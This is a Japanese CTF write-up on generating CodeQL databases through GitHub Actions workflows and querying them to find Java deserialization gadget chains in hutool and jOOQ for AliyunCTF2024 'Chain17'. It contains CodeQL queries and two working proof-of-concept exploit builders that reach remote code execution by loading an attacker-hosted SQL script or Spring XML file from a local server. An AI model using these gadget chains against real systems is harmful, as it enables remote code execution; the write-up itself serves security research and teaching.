bridge

bridge

Github Actionsを利用してCodeQLデータベースを生成する -- AliyunCTF2024 Chain17の逆シリアル化チェーン掘削を例にして

背景#

lgtmコミュニティが 2022 年に閉鎖された後、CodeQL はローカルで手動で構築するしかなく、lgtm はGithub Code Scanningに統合されました。

Github Action では、github/codeql-actionを使用して公式提供の queries でリポジトリのコードをスキャンでき、結果は Code Scanning Alerts として表示されます。公式文書では、QL 文をカスタマイズできることも言及されています。しかし、私自身は公式文書の設定を試みた結果、queries をカスタマイズできるとは思えませんでした((

ただし、actions/upload-artifactアクションを組み合わせて構築した CodeQL データベースをエクスポートし、ローカルにインポートしてローカルクエリを実行することができます。

CodeQL データベースの生成には正しいコンパイルが必要です。幸いなことに、github code scanning はコンパイルスクリプトを自動的に認識する機能を提供しています。

また、Public リポジトリの Actions は無料で、Private リポジトリには無料枠があります。実際の運用では、公式のリポジトリをフォークすれば良いです。

問題背景#

問題はエージェントとサーバーの 2 つの部分から成り、どちらも古典的な逆シリアル化エントリです。問題の流れについては詳述しませんが、公式 WPに移動できます。

ここで思考の流れについて述べます。

エージェント#

既知の情報

  • Hessian が Map を逆シリアル化する際に Map.put が呼び出される
  • cn.hutool.json.JSONObject#put ("foo", AtomicReference) -> AtomicReference#toString、注意点として AtomicReference は JDK の内部クラスでなければ toString を呼び出せず、そうでない場合はプロパティに基づいて getter が呼び出される
  • POJONode.toString -> Bean.getObject
  • Bean.getObject が object を返すと、jackson は object のすべての getter を呼び出す(getter 名に基づく)

したがって、getter から RCE へのチェーンを見つけてブラックリストを回避する必要があります。h2 依存関係が与えられたため、JDBC Connection URL Attack | 素十八 (su18.org)を考えるのが容易です。

つまり、hutool ライブラリ内で getter -> DriverManager.getConnection のチェーンを探す必要があります。

サーバー#

既知の情報

  • XString#toString -> POJONode#toString -> getter

jOOQ ライブラリ内で getter -> RCE のチェーンを探す必要があります。

Github Actions を使ったハッキング#

エージェント#

クラウドコンパイル#

リポジトリをフォークしますdromara/hutool: 🍬A set of tools that keep Java sweet. (github.com)

Actions で codeql を選択します。

Pasted image 20240327230243

.github/workflows/codeql.ymlを少し修正します。

# 多くのプロジェクトでは、このワークフローファイルを変更する必要はありません。単に
# リポジトリにコミットするだけです。
#
# 分析する言語のセットをオーバーライドしたり、カスタムクエリやビルドロジックを提供するために
# このファイルを変更することを検討するかもしれません。
#
# ******** 注意 ********
# リポジトリ内の言語を検出しようとしました。以下に定義された`language`マトリックスを確認して、
# 正しいセットのサポートされているCodeQL言語を確認してください。
#
name: "CodeQL"

on:
  push:
    branches: [ "v5-master" ]
  pull_request:
    branches: [ "v5-master" ]

jobs:
  analyze:
    name: Analyze (${{ matrix.language }})
    # RunnerのサイズはCodeQL分析時間に影響します。詳細については、以下を参照してください:
    #   - https://gh.io/recommended-hardware-resources-for-running-codeql
    #   - https://gh.io/supported-runners-and-hardware-resources
    #   - https://gh.io/using-larger-runners
    # 分析時間の改善のために大きなランナーを使用することを検討してください。
    runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }}
    timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }}
    permissions:
      # すべてのワークフローに必要
      security-events: write

      # プライベートリポジトリのワークフローにのみ必要
      actions: read
      contents: read

    strategy:
      fail-fast: false
      matrix:
        include:
        - language: java-kotlin
          build-mode: none # このモードはJavaのみを分析します。Kotlinも分析するには'autobuild'または'manual'に設定してください。
        # CodeQLは以下の値のキーワードを'supported languages'としてサポートしています:'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 'ruby', 'swift'
        # C、C++またはその両方で書かれたコードを分析するには`c-cpp`を使用します
        # Java、Kotlinまたはその両方で書かれたコードを分析するには'java-kotlin'を使用します
        # JavaScript、TypeScriptまたはその両方で書かれたコードを分析するには'javascript-typescript'を使用します
        # 分析する言語を変更したり、分析のためのビルドモードをカスタマイズする方法については、
        # https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanningを参照してください。
        # コンパイル言語を分析している場合、その言語の'build-mode'を変更して、コードベースがどのように分析されるかをカスタマイズできます。
    steps:
    - name: Checkout repository
      uses: actions/checkout@v4

    # スキャンのためにCodeQLツールを初期化します。
    - uses: github/codeql-action/init@v3
      with:
        languages: ${{ matrix.language }}
        build-mode: ${{ matrix.build-mode }}
        # カスタムクエリを指定したい場合は、ここまたは設定ファイルで行うことができます。
        # デフォルトでは、ここにリストされたクエリは設定ファイルで指定されたものを上書きします。
        # ここでリストを"+"でプレフィックスして、これらのクエリと設定ファイルのクエリを使用します。

        # CodeQLのクエリパックの詳細については、以下を参照してください:
        # https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
        # queries: security-extended,security-and-quality
    # analyzeステップが分析している言語の1つで失敗した場合
    # "自動的にコードをビルドできませんでした"、上記のマトリックスを修正して
    # その言語のビルドモードを"manual"に設定します。次に、このステップを修正して
    # コードをビルドします。
    # ℹ️ OSシェルを使用して実行するコマンドラインプログラム。
    # 📚 https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrunを参照してください。
    - if: matrix.build-mode == 'manual'
      run: |
        echo '分析している言語の1つ以上に対して"manual"ビルドモードを使用している場合は、これをコードをビルドするためのコマンドに置き換えてください。'
        echo '  make bootstrap'
        echo '  make release'
        exit 1

    - name: Perform CodeQL Analysis
      uses: github/codeql-action/analyze@v3
      with:
        category: "/language:${{matrix.language}}"
    - name: Upload CodeQL database as artifact
      uses: actions/upload-artifact@v4
      with:
        name: hutool-code-database
        path: /home/runner/work/_temp/codeql_databases/

実行が完了すると、データベースファイルが得られます。

Pasted image 20240327231539

利用チェーン#

codeql をインポートした後、この ql を使用します。

/**
 * @kind path-problem
 */

import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.DataFlow
class Getter extends Method {
  Getter() { this.getName().regexpMatch("get.+") }
}

class Source extends Callable {
  Source() {
    this instanceof Getter and getDeclaringType().getASupertype*() instanceof TypeSerializable
  }
}

class GetConnectionMethod extends Method {
  GetConnectionMethod() {
    this.hasName("getConnection") and
    this.getDeclaringType().hasQualifiedName("java.sql", "DriverManager")
  }
}

class DangerousMethod extends Callable {
  DangerousMethod() { this instanceof GetConnectionMethod }
}

class CallsDangerousMethod extends Callable {
  CallsDangerousMethod() {
    exists(Callable a |
      this.polyCalls(a) and
      a instanceof DangerousMethod
    )
  }
}

query predicate edges(Callable a, Callable b) {
  a.polyCalls(b)
}

from Source source, CallsDangerousMethod sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@", source.getDeclaringType(),
  source.getDeclaringType().getName(), source, source.getName(), sink.getDeclaringType(),
  sink.getDeclaringType().getName(), sink, sink.getName()

誤報があるかもしれませんが、sink は正確です。

Pasted image 20240327232614

PooledDSFactory#getDataSource -> PooledConnection#init -> DriverManager.getConnection

POC#

final String JDBC_URL = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'";  
  
Setting setting = new Setting();  
setting.set("url", JDBC_URL);  
setting.set("initialSize", "1");  
setting.setCharset(null);  
PooledDSFactory factory = new PooledDSFactory(setting);  
  
Bean bean = new Bean();  
bean.setData(ReflectUtils.serialize(factory));  
  
ClassPool classPool = ClassPool.getDefault();  
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");  
ctClass.removeMethod(ctMethod);  
ctClass.toClass();  
  
POJONode node = new POJONode(bean);  
AtomicReference atomicReference = new AtomicReference<>(node);  
JSONObject json = new JSONObject();  
json.put("1", "2");  
LinkedHashMap map = new LinkedHashMap();  
map.put("1", atomicReference);  
  
ReflectUtils.setFieldValue(json, "raw", map);  
  
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);  
hessian2Output.writeObject(json);  
hessian2Output.close();  
  
byte[] data = byteArrayOutputStream.toByteArray();  
System.out.println(Base64.getEncoder().encodeToString(data));

サーバー#

大会の時点でここで止まりました((

クラウドコンパイル#

同様に codeql.yml を提供し、ここで jdk バージョンを設定します。

# 多くのプロジェクトでは、このワークフローファイルを変更する必要はありません。単に
# リポジトリにコミットするだけです。
#
# 分析する言語のセットをオーバーライドしたり、カスタムクエリやビルドロジックを提供するために
# このファイルを変更することを検討するかもしれません。
#
# ******** 注意 ********
# リポジトリ内の言語を検出しようとしました。以下に定義された`language`マトリックスを確認して、
# 正しいセットのサポートされているCodeQL言語を確認してください。
#
name: "CodeQL"

on:
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]
jobs:
  analyze:
    name: Analyze (${{ matrix.language }})
    # RunnerのサイズはCodeQL分析時間に影響します。詳細については、以下を参照してください:
    #   - https://gh.io/recommended-hardware-resources-for-running-codeql
    #   - https://gh.io/supported-runners-and-hardware-resources
    #   - https://gh.io/using-larger-runners
    # 分析時間の改善のために大きなランナーを使用することを検討してください。
    runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }}
    timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }}
    permissions:
      # すべてのワークフローに必要
      security-events: write

      # プライベートリポジトリのワークフローにのみ必要
      actions: read
      contents: read

    strategy:
      fail-fast: false
      matrix:
        include:
        - language: java-kotlin
          build-mode: autobuild
        # CodeQLは以下の値のキーワードを'supported languages'としてサポートしています:'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 'ruby', 'swift'
        # C、C++またはその両方で書かれたコードを分析するには`c-cpp`を使用します
        # Java、Kotlinまたはその両方で書かれたコードを分析するには'java-kotlin'を使用します
        # JavaScript、TypeScriptまたはその両方で書かれたコードを分析するには'javascript-typescript'を使用します
        # 分析する言語を変更したり、分析のためのビルドモードをカスタマイズする方法については、
        # https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanningを参照してください。
    steps:
    - name: Checkout repository
      uses: actions/checkout@v4
    - name: Setup Java JDK
      uses: actions/[email protected]
      with:
        java-version: '17'
        distribution: 'oracle'
          
    # スキャンのためにCodeQLツールを初期化します。
    - name: Initialize CodeQL
      uses: github/codeql-action/init@v3
      with:
        languages: ${{ matrix.language }}
        build-mode: ${{ matrix.build-mode }}
        # カスタムクエリを指定したい場合は、ここまたは設定ファイルで行うことができます。
        # デフォルトでは、ここにリストされたクエリは設定ファイルで指定されたものを上書きします。
        # ここでリストを"+"でプレフィックスして、これらのクエリと設定ファイルのクエリを使用します。

        # CodeQLのクエリパックの詳細については、以下を参照してください:
        # https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
        # queries: security-extended,security-and-quality

    # analyzeステップが分析している言語の1つで失敗した場合
    # "自動的にコードをビルドできませんでした"、上記のマトリックスを修正して
    # その言語のビルドモードを"manual"に設定します。次に、このステップを修正して
    # コードをビルドします。
    # ℹ️ OSシェルを使用して実行するコマンドラインプログラム。
    # 📚 https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrunを参照してください。
    - if: matrix.build-mode == 'manual'
      run: |
        echo '分析している言語の1つ以上に対して"manual"ビルドモードを使用している場合は、これをコードをビルドするためのコマンドに置き換えてください。'
        echo '  make bootstrap'
        echo '  make release'
        exit 1
    - name: Perform CodeQL Analysis
      uses: github/codeql-action/analyze@v3
      with:
        category: "/language:${{matrix.language}}"
    - name: Upload CodeQL database as artifact
      uses: actions/upload-artifact@v4
      with:
        name: codeql-database-${{ matrix.language }}
        path: /home/runner/work/_temp/codeql_databases/

利用チェーン#

コード検索で ConvertAll#from がコンストラクタを呼び出せることがわかり、ClassPathXmlApplicationContext を使用できます。

ローカル ql で getter -> from をクエリします。

/**
 * @kind path-problem
 */

import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.DataFlow

class Getter extends Method {
  Getter() { this.getName().regexpMatch("get.+") 
  and 
  this.getNumberOfParameters() = 0 
  and
  this.isPublic()
  }
}

class Source extends Callable {
  Source() {
    this instanceof Getter and getDeclaringType().getASupertype*() instanceof TypeSerializable
  }
}

class SinkMethod extends Method {
  SinkMethod() {
    this.hasName("from")
    and
    this.getNumberOfParameters() = 2
    and
    this.getDeclaringType().hasName("ConvertAll")
  }
}

class DangerousMethod extends Callable {
  DangerousMethod() { this instanceof SinkMethod }
}

class CallsDangerousMethod extends Callable {
  CallsDangerousMethod() {
    exists(Callable a |
      this.polyCalls(a) and
      a instanceof DangerousMethod
    )
  }
}

query predicate edges(Callable a, Callable b) {
  a.polyCalls(b)
}

from Source source, CallsDangerousMethod sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@", source.getDeclaringType(),
  source.getDeclaringType().getName(), source, source.getName(), sink.getDeclaringType(),
  sink.getDeclaringType().getName(), sink, sink.getName()

誤報はまだ多いです(

Pasted image 20240327233957

これらのクラスを観察すると、次のようなチェーンを構築できます。

ConvertedVal{
  name:AbstractName.NO_NAME,
  comment:CommentImpl.NO_COMMENT
  delegate:QualifiedRecordConstant{
    value:"url",
  }
  type:ConvertedDataType{
    binding:ChainedConverterBinding{
      chained:ConvertAll{
        toClass:ClassPathXmlApplicationContext.class,
        toType:Integer.class
      }
    }
    delegate:DefaultDataType{
      utype:String.class
      tType:String.class
    }
  }
}

POC#

final String URL = "http://127.0.0.1:8000/poc.xml";  
  
Object convertAll = ReflectUtils.createWithoutConstructor("org.jooq.impl.Convert$ConvertAll");  
ReflectUtils.setFieldValue(convertAll, "toClass", ClassPathXmlApplicationContext.class);  
ReflectUtils.setFieldValue(convertAll, "toType", Integer.class);  
Object chainedConverterBinding = ReflectUtils.createWithoutConstructor("org.jooq.impl.ChainedConverterBinding");  
ReflectUtils.setFieldValue(chainedConverterBinding, "chained", convertAll);  
Object convertedDataType = ReflectUtils.createWithoutConstructor("org.jooq.impl.ConvertedDataType");  
ReflectUtils.setFieldValue(convertedDataType, "binding", chainedConverterBinding);  
Object defaultDataType = ReflectUtils.createWithoutConstructor("org.jooq.impl.DefaultDataType");  
ReflectUtils.setFieldValue(defaultDataType, "uType", String.class);  
ReflectUtils.setFieldValue(defaultDataType, "tType", String.class);  
ReflectUtils.setFieldValue(convertedDataType, "delegate", defaultDataType);  
Object qualifiedRecordConstant = ReflectUtils.createWithoutConstructor("org.jooq.impl.QualifiedRecordConstant");  
ReflectUtils.setFieldValue(qualifiedRecordConstant, "value", URL);  
Object convertedVal = ReflectUtils.createWithoutConstructor("org.jooq.impl.ConvertedVal");  
ReflectUtils.setFieldValue(convertedVal, "delegate", qualifiedRecordConstant);  
ReflectUtils.setFieldValue(convertedVal, "type", convertedDataType);  
ReflectUtils.setFieldValue(convertedVal, "name", ReflectUtils.newInstance("org.jooq.impl.UnqualifiedName", ""));  
ReflectUtils.setFieldValue(convertedVal, "comment", ReflectUtils.newInstance("org.jooq.impl.CommentImpl", ""));  
  
ClassPool classPool = ClassPool.getDefault();  
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");  
ctClass.removeMethod(ctMethod);  
ctClass.toClass();  
POJONode node = new POJONode(convertedVal);  
  
XString xString = new XString("");  
HashMap map1 = new HashMap();  
HashMap map2 = new HashMap();  
map1.put("yy", node);  
map1.put("zZ", xString);  
map2.put("yy", xString);  
map2.put("zZ", node);  
  
HashMap gadget = ReflectUtils.deserialize2HashCode(map1, map2);  
  
byte[] poc = ReflectUtils.serialize(gadget);  
ReflectUtils.deserialize(poc);

後記#

補足知識#

公式 WP では JDK17 での readObject -> toString の gadget が提供されています。

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

この記事で示した POC では XString を使用しましたが、POC を作成する際にはモジュール隔離がありましたが、逆シリアル化の際には正常でした。これも私たちが DubheCTF 2024 で使用した gadget です。

Javolution 出題小記 | H4cking to the Gate . (h4cking2thegate.github.io)

誰かが「また下手だ」と叫んだ#

jOOQ が過剰設計だと強く感じており、すべてのクラスが同じパッケージに書かれていて、デッドコードもあります...

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。